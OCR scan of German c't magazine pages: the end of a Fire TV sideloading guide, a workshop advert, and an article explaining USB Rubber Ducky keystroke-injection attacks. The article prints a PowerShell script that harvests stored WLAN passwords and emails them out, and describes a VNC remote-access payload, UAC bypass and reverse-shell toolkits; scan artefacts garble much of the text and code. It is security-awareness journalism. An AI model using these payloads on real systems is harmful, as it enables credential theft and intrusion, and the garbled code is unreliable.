i nsta l l i e rte Apps aufs F i re TV 
übertragen lassen - vorausge­
setzt, d ie  ARM-Architektu r  
stimmt überein (ARMv7) . Auch 
d iese d rei kosten losen Too ls  fi n­
den S ie über den c't-L ink am 
Ende des Arti ke ls .  

Um eine Verbindung mit dem 
F i re TV herzuste l len, brauchen 
Sie dessen I P-Ad resse aus  den 
F i re-TV-Einste l l ungen unter Sys­
tem/I nfo/Netzwerk. Die Ad resse 

., * .. A .;:  . .. . 1 1  1 

c F1reTV =: 

8. · �· 
BADLAND Asphoh B KDdl 

A 
Supo<SU - '""""""' 

� • � 
fll� MyTectwSit c.l Magazin 

geben Sie in dem von I hnen ge­
wäh lten S ide load ing-Tool e in,  
wäh len dann das Kod i-APK und 
sta rten den l nsta l lat ionsprozess, 
der e ine Wei le  dauert. 

A l lerd ings taucht Kad i  nicht 
im Navigationsmenü des F i re TV 
auf - ebenso wie a l l e  anderen 

iX-Workshop 

Mit der kostenlosen 
Fernbedienungs-App 
,.Wukong TV Remote" 
sta rtet man bequem per 
Sideloading insta l l ierte 
Apps und steuert Apps per 
Mausemulation, die nicht 
fü rs F i re TV gemacht s ind. 

Die Mausemu lation der 
Wukong TV Remote 

wird über den dritten 
Eintrag in  dem 

Würfe lmenü aktiviert. 

mittels S ide load ing i nsta l l ierten 
Apps. Zunächst lassen sich so 
nachgerüstete Apps nur starten, 
wenn man im Menü E instel l u n­
gen/Anwendungen "Al le  i nsta l ­
l ierten Anwendungen verwa lten" 
aufruft. dort die jewei l ige An­
wendung anwählt  und sta rtet. 

Systemmanagement 
m it Puppet 

Schritt für Schritt zu mehr Automatisierung in der Systemadministration 

Praxis I F i re TV & Stick erweitern 

Es geht auch bequemer:  So 
steuert d ie fü r Android und iOS 
kostenlos erhält l iche chinesische 
App Wukong TV Remote nicht 
nu r  das F i re TV vom Smartphone 
aus .  Es zeigt in  einer Schne l l sta rt­
l i ste a l l e  insta l l ierten Apps an, 
d ie  s ich auf d iesem Weg mit 

Ihr  Referent wird 
gestellt von : 

Dieser Workshop behandelt d ie theoretischen Konzepte und den praxisnahen Einsatz der 
Konfigurationsverwaltung Puppet . Puppet bietet eine einfach zu erlernende Beschrelbungssprache, 
mit der Ressourcen wie Software, Dienste und Dateien definiert und reproduzierbar auf beliebig viele 
Systeme verteilt und konfiguriert werden können. B 

S Y S T E M S  
Voraussetzungen: 
Als Tei lnehmer des Workshops sol lten Sie ein grundlegendes Verständnis für die System- und 
Netzwerkadministrat ion unter Linux mitbringen. Grundlegende Kenntnisse in der Shellprogrammierung 
werden vorausgesetzt. 
Programmauszug: 
• Einführung in das Thema Konfigurationsverwaltung 
• Installation von Puppet 
• Einstieg in die Puppet DSL 
• Instal lation und Administration von Puppet im C l ient I Server-Betrieb 

c't 20 1 5, Heft 5 

Weitere Infos unter: www.heise-events.de/puppet201 5 
www . ix  - konferenz.de 

Eine Veranstaltung von: 

Organis iert von 
he lse Events 
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fangen" deaktiviert sein, wei l 
s ich die AirP iay-Empfänger sonst 
ins Gehege kommen. 

Alternativer La u neher 

e inem Fingertipp starten lassen. 
Dass Wukong TV bisher nur in 
Chinesisch vor l iegt, ist nicht tra­
gisch - d ie meisten Funktionen 
s ind sel bsterkl ä rend und die 
Namen der insta l l ierten Apps 
werden korrekt i n  latein ischen 
Buchstaben da rgeste l l t .  P ra k­
t isch: Wukong TV enthä lt  e ine 
Mausemu lation, mit deren H i lfe 
sich d iverse Apps, d ie gar  n icht 
fü r das F i re TV gemacht s ind, 
auch ohne zusätzl iche Funktas­
tatu r  und -maus bed ienen las­
sen. H iermit konnten wir bei­
sp ie lsweise die e igent l ich fü r 
Touch-Bed ienung gedachte An­
d roid-App der Video-F iatrate 
Watchever prob lemlos auf dem 
F i re TV nutzen.  Wukong TV Re­
mate unterstützt prinzip ie l l  auch 
Sprachbefeh le .  Die s ind jedoch 
nur  Chinesisch und werden nicht 
an  das F i re TV du rchgereicht. 

Auf dem Fire TV insta l l ierte Apps lassen sich auch aus 
Kodi heraus sta rten .  

Fa l l s  Sie statt oder zusätzl ich zu 
Kod i  auch andere mittels Sideloa­
ding i nsta l l ie rte Anwendungen 
aus  dem Menü heraus  sta rten 
wol len, spie len Sie den F i red­
TV Launeher e in (siehe c't-L ink) .  
Der zeigt sämtl iche auf dem 
F i re TV insta l l ierten Apps - auch 
d iejenigen, d ie  nicht aus dem 
Amazon App Shop stammen; 
über das Kontextmenü der Fern­
bed ienung können Sie Apps in 
dem Launeher umsortieren, ver­
stecken, deinsta l l ieren und kos­
metische Anpassungen am Laun­
eher vornehmen. F i redTV ver­
knüpfen Sie ansch l ießend wie 
oben besch rieben mit l kono TV 
und mod ifizieren d ie L lama­
Rege l .  Dazu starten Sie L lama, 
wechsel n mit den Pfe i l tasten in 
den Reiter Regeln und klicken die 
Regel fü r "Wenn die aktuel le An­
wendung l kono TV ist - Kod i  sta r­
ten" an .  Dort ersetzen Sie Kod i  
be i  "Anwendung sta rten" du rch 
F i redTV. Künftig sta rtet statt 
l kono TV der a l ternative Laun­
eher - a l lerd ings noch mit dem 
fa lschen lcon. Wer es r ichtig 
hübsch haben möchte, speichert 
d ie  beiden F i redTV-Icons (siehe 
c't-Link) und ersetzt damit die im 
adbF i re-Unterverzeichnis kod i .  
icon/BOONEJS7ZO h interlegten 
Kod i- lcons. Dabei ist es wichtig, 
d ie u rsprüng l ichen, kryptischen 
Dateinamen beizubehalten. Wen­
den Sie danach in den adbF i re 
Llama Options (erneut) die Regel 
"Replace l kono TV icon with Kod i  
icon" an, prangt künftig das pas­
sende F i redTV-Icon auf der Sta rt­
seite des F i re TV. Sol lte es nicht 

Apropos Fernbed ienung:  F i re­
TV-Besitzer so l l ten auf i h rem 
Smartphone oder Tablet d ie fü r 
Ki nd le-F i re-Serie, iOS und An­
d roid erhält l iche offizie l l e  F i re TV 
Remote i nsta l l ieren - s ie d ient 
n icht nu r  a l s  Backup, fa l l s  man 
der Fernbed ienung i rgendwo 
verbudde lt  hat. Über die On­
screen-Tastatur  g ibt man Such­
begriffe deutl ich schnel ler ein a l s  
mit  der B luetooth-Fernbedie­
nung, fa l l s  d ie  an  s ich gute 
Sprachsuche doch mal nicht mit­
sp ie len wi l l .  Letztere kann  man 
über d ie F i re TV Remote App üb­
rigens auch nutzen .  

Automatisiert 

Wer Kod i  und andere Anwen­
dungen (auch) bequem mit der 
B luetooth-Fernbed ienung des 
F i re TV sta rten wil l , muss etwas 
tr icksen. H ierbei h i l ft e ine App 
aus  dem Amazon App Shop -

konkret l kono TV (am besten per 
Texteingabe suchen) - als Platz­
ha lter fü r d ie tatsächl ich zu sta r­
tende App, deren E i ntrag im 
Menüsystem des  F i re TV fehlt . Im 
H interg rund lässt man d ie 
Android-Automatis ierungs-App 
Llama die nötigen Fäden ziehen. 
Das geht mit adbF i re ganz ein­
fach: Öffnen Sie die "L iama Opti­
ons" und wäh len Sie " , nsta l l  
L lama". Dort können S i e  bei 
adbF i re auch Rege ln an legen, 
um statt l kono TV künftig Kod i  zu 
sta rten ("Link Kod i  to l kono TV"). 
ln d iesem Fa l l  bietet es sich an, 
weiter unten auch "Replace 
l kono TV icon with Kod i icon" zu 
wäh len, damit das r ichtige l con 
erscheint; außerdem können Sie 
Llama anweisen, beim Einschal­
ten des F i re TV immer Kod i  zu 
sta rten. Aus Kod i  heraus können 
Sie über das Menü Programme/ 
Android Apps bequem andere 
auf dem F i re TV insta l l ierten An­
d roid-Apps sta rten, mit Ausnah­
me der ins  F i re OS i nteg rierten 
Amazon-Apps Amazon Music, 
Amazon Video, Appstore und 
Ga meCi rcle-Dash boa rd. 

Nach der I nsta l lat ion öffnen 
Sie L lama auf dem Gerät über  
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Über den a lternativen Launeher Fi redTV lassen sich 
bequem auch Anwendungen auf dem Fire TV starten, 
die nicht aus dem Amazon App Shop stammen. 
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Einste l l ungen, Anwendungen . . .  
und n icken d ie angezeigten Dia­
loge ab .  Öffnen Sie mit der Me­
nütaste der Fernbed ienung das 
Kontextmenü,  wäh len  bei " ,m­
port/Export von Daten" den Be­
feh l  "Von USB-Ka rte importie­
ren" (Engl isch: " ,mport from USB 
storage") und bestätigen d ie Da­
tenübernahme. Spätestens nach 
e inem Neusta rt der F i re TV 
( lange a uf Ok und P lay/Pause 
drücken) sol lte das Kodi- lcon im 
Menü s ichtbar se in  und  das 
Media Center  darüber wie jede 
andere App sta rten lassen.  D ie 
Bed ienung erfo lgt  ü ber  den 
Steuerkreis, Zu rück und  Kon­
textmenütaste der  Fernbedie­
nung. E in  Druck auf d ie  Horne­
Taste füh rt zurück auf d ie Sta rt­
seite des F i re-TV-Menüs .  Wem 
die Defau lt-E inste l l u ngen n icht 
zusagen, der  kann  über d ie  
Push-Funkt ion von adbF i re a l ­
ternative Tastenbelegungen fü r 
Kod i/XBMC importieren [ 1 ) .  

Noch e in Tipp: Wenn S i e  so­
woh l  Kod i als auch Ai rReceiver 
insta l l iert haben und AirPiay Mir­
rar ing nutzen möchten, muss 
be i  Kod i  unter Optionen/Diens­
tefAirP lay "AirPiay-l nha lte emp-

Ersetzt man das l kono-TV-Icon durch das von F i redTV, 
erinnert nur  noch der fa lsche Name daran, dass der Eintrag 
erschummelt ist. 
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Praxis I F i re TV & Stick erweitern 

Schl ießt man eine Tastatur am Fire TV an, kann  man mit Alt+ Tab 
zwischen laufenden Apps wechse ln .  

sofort auftauchen, starten S ie  das 
F i re TV neu. Damit  das auch so 
bleibt, deaktivieren Sie in  den 
F i re-TV-Einste l l ungen unter An­
wendungen, Appstore die auto­
matischen Updates. Ku rz vor Re­
daktionsschluss sorgte eine neue 
l kono-TV-Version dafü r, dass das 
getauschte lcon in  regelmäßigen 
Abständen trotzdem wieder ver­
schwand.  Die Tooi-Programmie­
rer versuchen, das Problem zu be­
heben. 

A l l es Besch r iebene funktio­
niert, ohne das F i re TV rooten zu 
müssen und so l l te daher auch 
prob lemlos F i rmwa re-Updates 
überstehen .  Wer mehr trieke ln  
möchte, a l so etwa a l ternative 
F i rmwa res wie CyanogenMod 
aufspie len, den USB-Ansch l uss 
zur Speichererweiterung nutzen 
[2] oder etwa SSH/SFTP-Server 
betre iben, kann  das pri nzip ie l l  
auch tun, braucht dazu a l ler­
d ings ein F i re TV mit einer F i rm­
ware vor 5 1 . 1 .3.0 - nur so lche 
Geräte lassen sich mit Towel root 
entsperren .  Mehr I nfos über d ie 
Root-Chancen fi nden sich unter 
[3] . Ist bereits d ie aktue l le  F i rm­
ware auf der Box i nsta l l iert, g ibt 
es keine Mög l ichkeit zum Down­
g rade.  Fü r  den F i re TV Stick ist 
b isher keine Mögl ichkeit zum 
Rooten bekannt. 

Bedienu ngshi lfen 

Obwoh l  d ie  Sprachsuche des 
F i re TV zieml ich gut funktioniert, 
wi l l  mögl icherweise jeder mit 
der Fernbed ienung sprechen. 
Wem die Textsuche auch mit der 
Smartphone/Tablet-App zu um­
ständ l ich ist, der kann  eine USB­
Tastatur oder besser e ine d raht­
lose Tastatur mit USB-Dongle an­
sch l ießen - a l l e  unsere Exempla­
re haben klag los funktion iert. 
Witzig :  Die Tastenkombinat ion 
Alt+ Tab öffnet e inen Task­
Wechsler und Alt+Strg+Entf sta r-
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tet das F i re TV neu .  B luetooth­
Tastaturen wollten s ich indes 
nicht mit dem F i re TV verbinden. 

Vie le Spie le lassen sich nicht 
mit der Fernbedienung, sondern 
nur mit Game-Contro l lern steu­
ern. Mit 40 Euro ist Amazons F i re­
Contro l ler  aber nicht gerade ein 
Schnäppchen. Es geht aber auch 
günstiger: Das B luetooth-Game­
pad Nyko Playpad Pro bekommt 
man fü r 25 Euro. Wer noch einen 
kabelgebundenen Xbox-360-
Contro l le r  besitzt, kann d iesen 
per USB an das F i re TV anschl ie­
ßen. Der Contro l le r  funktioniert 
klag los und die Xbox-Taste funk­
t ioniert sogar a l s  Horne-Button 
des F i re TV. Das drahtlose Exem­
plar binden Sie mit einem Wi re­
less Gaming USB-Empfänger (et­
wa von Qumox, ca 1 3  Eu ro) an .  
Kompl izierter i s t  d ie Sache Play­
station-Contro l lern: Der fü r d ie 
PS3 läuft am Kabel gar n icht und 
lässt s ich nur  mit Root-Zugriff und 
Kl immzügen d rahtlos an  den 
Sta rt br ingen. PS4-Contro l le r  
funktionieren an  USB klag los, 
drahtlos je nach F i re-TV-Fi rmware 
offenbar nur  mit ein paa r Kl imm­
zügen [4, das Kommando adb fin­
den Sie im adbF i re-Verzeichnis] 
und so träge, dass sie zur Spiel­
steuerung momentan nur be­
dingt brauchbar s ind. (vza@ct.de) 

Literatu r  

[ 1 ]  Alternative Tastenbeleg u ngen fü r 
Kod i :  http://kodi .wi ki/view/Aiter 
native_keymaps_for _Fi re_ TV _re 
mote 

[2] Speichererweiterung ü ber  USB :  
www.aftvnews.com/how-to-use­
a-usb-d rive-as-the-fi re-tvs­
i nterna l -storage 

[3] E rfolgschancen fü rs Rooten: www. 
aftvnews.com/serial/ 

[4] PS4-Contro l ler  a m  F i re TV: http:// 
forum.xda-developers.com/ 
showpost.ph p?p=57752377 

c't Tools & Video: ct.de/yft9 
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U SB-Schn ittste l l en s ind nicht nu r  a l lge­
genwä rtig, sondern auch a l lgemei nge­

fähr l ich :  Sie er la uben vol len Zugriff a uf den 
Rechner, sofern d ieser nicht gerade gesperrt 
ist. Mit Spezia l-Ha rdware kann ein Angreifer 
fast jedes System im Vorbeigehen kompro­
mittieren, während man gerade nur  ku rz den 
Raum verlassen hat, um e inen Kaffee zu 
holen. Die Hacker-Geräte geben sich a l s  Tas­
tatu r  aus  und feuern b l i tzschne l l  vorpro­
g rammierte Tastature ingaben ab. Im e in­
fachsten Fa l l  sendet d ie Spezia l -Ha rdwa re 
den Befeh l  Windows-Taste+R, woraufh in  
unter Windows der Ausfüh ren-Dia log auf­
poppt. Nach dem Tippen von "cmd" und  
Enter wartet auch  schon d ie Kommandozei le 
auf weitere Befehle. Von hier an  s ind der Fan­
tasie des Angreifers keine Grenzen gesetzt. 

Wer seinen Rechner routi nemäßig beim 
Ver lassen des Arbeitsp latzes absperrt, der 
ste l le  sich e inmal  fo lgende Situat ion vor: Sie 
fi nden einen USB-Stick auf dem F l u r  und  
haben keine Ahnung, wem er gehört. Um l n-

1 70 

d izien zu sammeln, d ie  bei der Suche nach 
dem Besitzer helfen könnten - oder aus  
schierer Neugier -, sch l ießen S ie  den Stick an  
I h ren Rechner an .  Ku rz darauf öffnet sich wie 
von Geisterhand die Eingabeaufforderung -
und dann ist es auch schon zu spät. Sie 
haben keinen gewöhn l ichen USB-Stick er­
wischt, sondern das USB Rubber Ducky 
(Gummi-Entchen). welches gerade I h r  Sys­
tem auf d ie  Hörner n immt. Es hande lt  s ich 
um e inen spezie l l  entwickelten USB-Stick, 
der nicht etwa a l s  Speichergerät d ient, son­
dern vornehml ich als virtue l le Tastatu r. Man 
kann  ihn fü r etwa 40 Euro i n  den USA bestel­
len (s iehe c't-Li nk  am Ende d ieses Arti ke ls) .  
Die Sicherheitskonzepte der Betriebssysteme 
haben dem Tipproboter nur wenig entge­
genzusetzen. Desha l b  kann man damit a l l er­
lei Schabernack treiben. Und das haben wir 
auch. 

Im  Netz findet man fü r fast a l les e in pas­
sendes Skript - von gemein bis gemein­
gefäh rl ich .  E in ige Skripte z ie len ledig l ich da-

ra uf ab, d ie  Mitmenschen zu foppen. "Pay­
load Wa l l paper prank" etwa erste l l t  e inen 
Screenshot des Windows-Desktops, setzt 
d iesen a l s  H intergrundbi ld und blendet an­
sch l ießend die Verknüpfungen aus .  Der Nut­
zer s ieht d ie  lcons weiterh in, kann  sie aber 
nicht an  kl icken. Vie le der Skripte eignen s ich 
aber auch fü r ernsthafte Pentesti ng-Aufga­
ben. E ines legt etwa einen neuen Windows­
Nutzer mit e inem vorgegebenen Passwort 
an  und aktiviert d ie Dateifreigabe, wodurch 
man im Netz auf d ie Festplatte des Rechners 
zug reifen kann .  Das a l les geschieht so 
schnel l ,  dass e in unvorbereiteter Nutzer gar 
n icht weiß, wie ihm geschieht. Sol lte s ich mal 
d ie  Benutzerkontensteuerung (UAC) i n  den 
Weg stel len, verscheucht das Rubber Ducky 
sie schl icht mit der Tastenkombination Alt+ J .  

Wolf i m  Entengefieder 

Das Entchen kommt in  einem unscheinba ren 
Gewand daher. Das Gehäusedesign stammt 
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von e inem USB-Stick, wie ihn  wohl jeder 
schon mal hatte. Erst wenn man d ie Meta l l ­
klammer entfernt und die Plastikhä lften aus­
e inanderzieht, entdeckt das geübte Auge 
etwas Auffä l l iges: Statt eines F lash-Speicher­
chips fi ndet man im Bauch der Ente eine auf 
60 MHz getaktete Atmei-CPU, einen microSD­
Reader und eine passende Speicherka rte. Auf 
der Ka rte legt man die Angriffs-Skripte ab. Da 
der I nha l t  des Speicherch ips norma lerweise 
nicht über die USB-Schnittste l le  des Sticks er­
reichbar ist, befindet sich im Lieferumfang ein 
winziges Lesegerät. 

Wer nicht nach jeder Änderung am Skript 
das Gehäuse ause inander- und wieder zu­
sammenbauen möchte, kann  das USB Rub­
ber Ducky mit der F i rmware c_duck_v2.1 .hex 
(s iehe c't-Li nk) in e ine Twin  Duck verwan­
deln. Dann  meldet sich der Stick nicht nur als 
USB-Tastatur, sondern g ibt den Inha l t  seiner 
Speicherka rte auch als Massenspeicher frei .  
Das hat zudem den Vortei l ,  dass man der  
Ente be l ieb ige Dateien mit auf den Weg 
geben kann, die man entweder innerha l b  
d e r  Skripte oder z u r  schieren Ablenkung des 
Nutzers e insetzt. Um die F i rmware einzuspie­
len, nutzt man unter Windows e in Batch­
Skript und unter Linux oder Mac OS das Tool 
dfu-programmer. Beides finden Sie ebenfa l l s  
unter dem L ink. 

Entensprache 

Das Rubber Ducky prog rammiert man i n  
e ine r  s implen Skriptsprache namens Ducky 
Script. Es handelt sich im Prinzip ledig l ich um 
e ine  Textdatei, d ie e ine  Aneinanderrei hung 
von Tastaturbefeh len und Pausen enthä lt .  
E in erstes .,He l lo Wor ld" könnte etwa so aus­
sehen: 

REM Titel: Hello World! 
DEFAULTDELAY 200 
DELAY 1 0000 
GUI  r 
STRI NG notepad 
ENTER 
DELAY 200 
STRI NG Grüßen tut die Hackerentel 

REM steht fü r einen Textkommenta r, der bei 
der Ausführung ignoriert wird. DEFAULTDELAY ist 
die Pause, die standardmäßig zwischen den 
einzelnen Zei len eingelegt wird. DELAY sorgt fü r 
e ine e inmal ige Pause. Beide Zeitwerte g ibt 
man in Mi l l isekunden an .  GUI steht fü r d ie 
Windows-Taste, GUI r drückt sie zusammen mit 
.,R" - der Ausführen-Dialog erscheint. Und mit 
STRING tippt der Stick ganze Zeichenfolgen ein. 
Dabei kümmert er sich automatisch um die 
Groß-/Kleinschreibung und eventuel l  vorhan­
dene Sonderzeichen. 

Bevor man das Skript auf das Rubber 
Ducky kopiert, muss man es noch kompi l ie­
ren. Das kl ingt sch l immer als es ist, denn d ie­
ser Arbeitssch ritt geht leicht von der Hand.  
Man benötigt led ig l ich den Compi ler  enco­
der.jar (siehe c't-L ink) und das Java Runtime 
Environment (JRE) in  Version 1 .7. Der folgen­
de Befeh l  verwandelt d ie Textdatei in  Enten­
futter: encoder.jar -i <skriptname>.txt -o inject.bin -l de. 
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I m  Bauch des USB Rubber Ducky von 
HakS steckt eine microSD-Karte, 
auf der die auszufüh renden Tastatur­
befehle gespeichert werden. 

Das .,de" steht dabei fü r das deutsche Tasta­
tu r layout Nach wenigen Sekunden spuckt 
das Tool e ine Datei namens i nject .b in aus; 
d ie eigentl iche Payload. Diese kopiert man i n  
das Hauptverze ichn is  der  Speicherka rte. 
Beim nächsten Kontakt mit e inem Rechner 
füh rt d ie Rubber Ducky die antra in ierten Be­
feh le  pfl ichtbewusst aus .  

Ti m i n g  ist a l les 

Mit zunehmender Komplexität der  Skripte 
zeigt sich, wie wichtig der angemessene Ein­
satz von Pausen ist. Das Hauptproblem des 
Rubber-Ducky-Sticks ist, dass er  kein  Feed­
back vom gesteuerten Rechner bekommt -
der Datenkana l  der Tastaturemu lat ion ist 
eine E inbahnstraße. Führt der Rechner einen 
Befeh l  nicht schnel l  genug aus - oder funkt 
der Nutzer dazwischen -, hat unter Umstän­
den ein fa lsches Fenster den Fokus und die 
ansch l ießenden Tastatureingaben füh ren zu 
unvorhersehba ren Effekten .  E ine g roße Un­
bekannte ist d ie Zeit, d ie ins Land zieht, wäh-
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Praxis I USB-Angriffe verstehen 

rend Windows beim ersten Kontakt mit dem 
Stick passende Treiber bei Windows Update 
und in loka len Ordnern sucht. Der Stick er­
fäh rt n icht, wann er vom Betriebssystem in i ­
tia l is iert wird .  Das kann dazu füh ren, dass er 
das Skr ipt schon aba rbeitet, während seine 
Eingaben noch gar nicht ankommen können. 
Desha l b  sol lte man zu Beg inn  des Skripts 
eine g roßzügige Pause einbauen - insbeson­
dere dann, wenn er voraussichtl ich häufiger 
Kontakt mit fremden Rechnern haben wird. 

Je mehr man über den Rechner wei ß, 
desto größer s ind d ie Erfo lgsaussichten. 
Neben grund legenden Dingen wie die 
Vers ion des e ingesetzten Betriebssystems 
können auch Deta i l s  wie der Status der 
Benutzerkontensteuerung zum Erfo lg oder 
Misserfolg der Mission beitragen. Wie bereits 
erwähnt, ist der typische UAC-Dia log fü r den 
Rubber-Ducky-Stick zwar keine Hü rde. Wenn 
jedoch die erwa rtete Sicherheitsabfrage aus­
b le ibt, kann  der Bestätigungsbefeh l  Alt+J 
(betätigt den .,Ja"-Button) das ganze Skript 
aus dem Tritt br ingen. 

Nach dem Ein­
stecken des Rubber­
Ducky-Sticks führt 
der Rechner be­
l iebigen Code aus. 
Das klappt etwa mit 
Windows und Linux. 
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Praxis I USB-Angriffe verstehen 

� D uc k Too l ki t  

HOME 

Select Payloads 

Exploitation 
0 Fi nd and U pl oad Fi le ( FT P) 

0 Disable Firewall 

0 Add U ser 
D Open Fi rewa ll Pott 
0 Sta rt Wi - Fi Acc ess Point 

0 Sha re C:\ Drive 

0 Ena ble R DP 

0 C reate a R ev erse Shell 
0 Local DN S Poisoni ng 
0 Delete a 1'/i nd ows U pdate 

Reporting 
U FTP R epott to External Host 
0 Em ai l Report to GMAI L Acc ount 
0 Sav e Fi les to U SB Drive 

Mit wenigen Mauskl icks erstel lt 
man mit dem Ducky Too lkit indi­
viduel le Payloads. 

Das Rubber Ducky bespaßt a l l e  Betriebs­
systeme, die USB-Tastaturen automatisch 
e inbinden, a l so neben Windows etwa auch 
L inux, Android und eingeschränkt (mit pas­
sendem Adapter) sogar iOS. Mac OS X fragt 
a l lerd ings seinen Nutzer nach dem Anschl ie­
ßen des Sticks, ob er das gerade angesch los­
sene USB-Eingabegerät auch tatsächl ich be­
nutzen möchte. N ickt er d iesen Dia log nicht 
le ichtfertig ab, la ufen d ie Tastatureingaben 
der Skripte ins Leere. 

Wir haben mehrere Skripte gebastelt, um  
d i e  Fäh igkeiten de s  Rubber Ducky anschau­
l ich zu demonstrieren .  Videos unserer Expe­
r imente fi nden Sie unter dem c't-L ink. Das 
einfachste Skript füh rt automatisch ein Pro­
g ramm aus, das auf der Speicherka rte abge­
legt ist. Das ist nicht so trivia l ,  wie es kl ingt ­
denn um ein bestimmtes Prog ramm über die 
Kommandozei le ausfüh ren zu können, muss 
man erst mal  seinen Pfad herausfinden. Um 
den von Windows zugetei lten Laufwerks­
buchstaben in  Erfah rung zu br ingen, nutzten 
wir d ie  sogenannte Windows Management 
I nstrumentation Command l ine (WMIC) . Der 
fo lgende Befeh l  erm ittelt den Buchstaben 
des Laufwerks namens "HE ISEDUCK" und  
speichert ihn  in  de r  Va riab le myd: 

STRI NG for /f %d in ('wmic volume get driveletterA, 1 
Iabel Al findstr "H EISEDUCK" ') do set myd=%d 

Das vorangestel lte Wort STRI NG sorgt wie ge­
habt dafü r, dass das Rubber-Ducky-Skript 
den darauf folgenden Text eint ippt Mit dem 
fo lgenden Befeh l  wi rd unser Programm 
sch l ieß l ich ausgeführt: 

STRI NG start %myd%\Ducky.exe & exit 

Fü r  anspruchsvo l lere Aufgaben kann  man 
auch d ie se i t  Windows 7 vorinsta l l ierte, funk­
t ionsreiche PowerShe l l  e inspannen .  Zu-
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nächst e inmal  öffnet man wieder d ie Einga­
beaufforderung und lässt den Stick den 
Befeh l  "powershe l l "  sowie Enter e int ippen.  
Anschl ießend folgt das Skript. Das folgende 
Beispiel sammelt a l le dem System bekannten 
WLAN-Passwörter im Kla rtext ein und ver­
schickt s ie über e inen Gmai i -Account  an  
rei@ct.de: 

md "wlan"; 
netsh wlan export profile key=clear folder="wlan"; 
$smtps = "smtp.gmail.com"; 
$msg = new-object Net.Mail.MailMessage; 
$smtp = new-object Net.Mail.SmtpClient($smtps); 
$smtp.EnableSsl = $true; 
$smtp.Port = 587; 
$smtp.Credentials = New-Object 
System.Net.NetworkCredential(" benutzername",l 

$msg.From = "benutzername@gmail.com"; 
$msg.T o.Add("rei@ct.de"); 
$msg.Subject = "RubberDucky"; 
$msg.Body = "WLAN-Passwörter"; 
$files=Get-Childltem "wlan"; 
Foreach($file in $files) { 

"passwort"); 

Satt = New-Object System.Net.Mail.Attachment7 
-Argumentlist wlan\$file; 

$msg.Attachments.Add($att) 
}; 
$smtp.Send($msg); 

Damit das Rubber Ducky d iese Befeh le in die 
PowerShe l l  t ippt, ste l l t  man der ersten Zei le 
wieder STRING voran. Das fertige DuckyScript 
fi nden Sie unter dem c't-Li nk. Es kommt 
ohne Admin-Rechte aus .  

Fernzug riff 

Doch da geht noch mehr. Mit dem Rubber 
Ducky kann  man seinem neugier igen Opfer 
auch d i rekt über d ie Schu lter schauen.  Dazu 
haben wir e in Skript erste l l t, das einen VNC­
Server auf den Rechner kopiert und sta rtet. 
Anschl ießend sorgt es dafü r, dass e ine VNC­
Sitzung zu e iner vorbest immten I P-Adresse 
aufgebaut wird. Außerdem trägt es mit dem 
Befeh l  netsh firewall add allowedprogram auch noch 
eine entsprechende Ausnahmeregel i n  d ie  
Windows-Fi rewa l l  e in .  Nachdem der Stick mit  
dem Rechner verbunden wu rde, erscheint 
der B i ldsch i rminha l t  auf e inem anderen PC, 
wo ein VNC-Ci ient lauscht. Von diesem Sys­
tem aus  hat man d ie vo l l e  Kontro l l e  und  
kann  auch auf Dateien zugreifen. Alternativ 
hätten wir auch die Remotedesktop-Verbin­
dung einscha lten können. 

Ducky-F u  

Wer, etwa i n  de r  Rol l e  e ines Pentesters, kom­
plexere Angriffe mit dem USB Rubber Ducky 
fahren wi l l ,  muss das Rad nicht zwangsläufig 
neu erfinden.  Fü r  viele Pentesti ng-Aufgaben 
g ibt es Baukästen, d ie  mit wenigen Kl icks 
e ine ind ividue l le  Payload zusammenste l len .  
On l ine fi ndet man so e inen solchen etwa 
unter DuckToolkit.com. Die gebotenen Funk­
t ionen s ind in d ie  Kategor ien Ausspähung 
(Reconna issance), Angriff (Exploitation) und 
Berichterstattung (Reporti ng) e ingetei lt . Hat  

man s ich entschieden, kann  man das gene­
rierte Skript bei Bedarf noch manue l l  anpas­
sen, ehe man s ich eine fertig kompi l ie rte 
i nject.bin herunter lädt Diese muss man nur  
noch auf den Stick kopieren. 

Das Modu l  "Duck S l u rp" des Baukastens 
kopiert das Anwenderverze ichn is  des akti­
ven Nutzers auf den Speicherchip .  Da rüber 
h inaus kann  man etwa e inen versteckten 
Admin-Account  e in richten oder mit dem 
WLAN-Modu l  des Rechners e inen Hotspot 
aufspannen, sodass man sich d i rekt mit dem 
System verbinden kann .  Auch der S imp le 
Ducky Payload Generator ( s iehe L ink) ist 
einen Blick wert. Das nur unter Linux lauffä­
h ige Tool erste l l t  nach der  Abfrage e in iger 
Eckdaten (etwa, ob d ie UAC auf dem Zielsys­
tem aktiv ist) auch kompl izierte Payloads, d ie 
zum Beispiel e ine persistente Reverse Shel l  
auf dem System einrichten. 

Alternativen 

Das USB Rubber Ducky ist der komfortabels­
te Weg, um dem Chef oder einem Freund 
d ie Gefah ren vor Augen zu füh ren, d ie  der  
a l lzu leichts inn ige Umgang mit USB-Geräten 
mit s ich bringt. Wer tiefer i n  die Materie ein­
steigen wil l , kann  sich mit dem 20 US-Do l l a r  
teuren USB-Entwicklerboard Teensy auch 
sel bst e inen Pentest ing-Stick bauen, der im 
Gegensatz zum Rubber Ducky sogar  e inen 
einfachen Rückkana l  bietet (siehe L ink) .  Das 
Teensy-Board kann  den Status von Num­
Lock, Sera i l lock und  Capslock auswerten, 
den das System g loba l  fü r a l l e  angeschlosse­
nen Tastatu ren setzt. Das kann  man ge­
schickt ausnutzen, um in Erfah rung zu br in­
gen, ob der gerade e inget ippte Skript-B lock 
erfo lgreich ausgefüh rt wu rde. Vor e inem Be­
feh l  setzt man zum Beispiel den Status von 
NumLock auf "ein" und fragt ihn vor dem 
nächsten Befeh l  wieder  a b. I st der  Status 
"a us", wurde der vorherige Befeh l  n icht vo l l ­
ständ ig  ausgefü h rt und  muss wiederho lt  
werden .  Auf d iese Weise kann  man auch 
herausfi nden, ob das System d ie  Tastatur­
treiber bereits in itia l is iert hat. Dazu schaltet 
man NumLock in e iner Schleife ein und aus. 
Soba ld  das Teensy-Boa rd vom System d ie  
I nformation erhä l t, dass s i ch  der  Status 
verä ndert hat, weiß das Skri pt, dass se ine 
Befeh le ankommen.  

Auch preisgü nstige  USB-Speicherst icks 
kann  man mit etwas Aufwand in e inen Tipp­
roboter verwa nde ln .  Dem Tea m um den 
Ber l iner  S icherheitsforscher Ka rsten Nohl ist 
es im vergangenen Jahr ge lungen, d ie  F i rm­
ware bestimmter USB-Sticks auseinanderzu­
nehmen,  zu man ipu l ieren und sch l ieß l i ch  
e inzuspie len .  S ie ta uften I h r  Projekt BadUSB 
und skizzierten Ang riffsszena rien, d ie  auch 
d ie  Emu lat ion e iner  Netzwerkka rte u mfas­
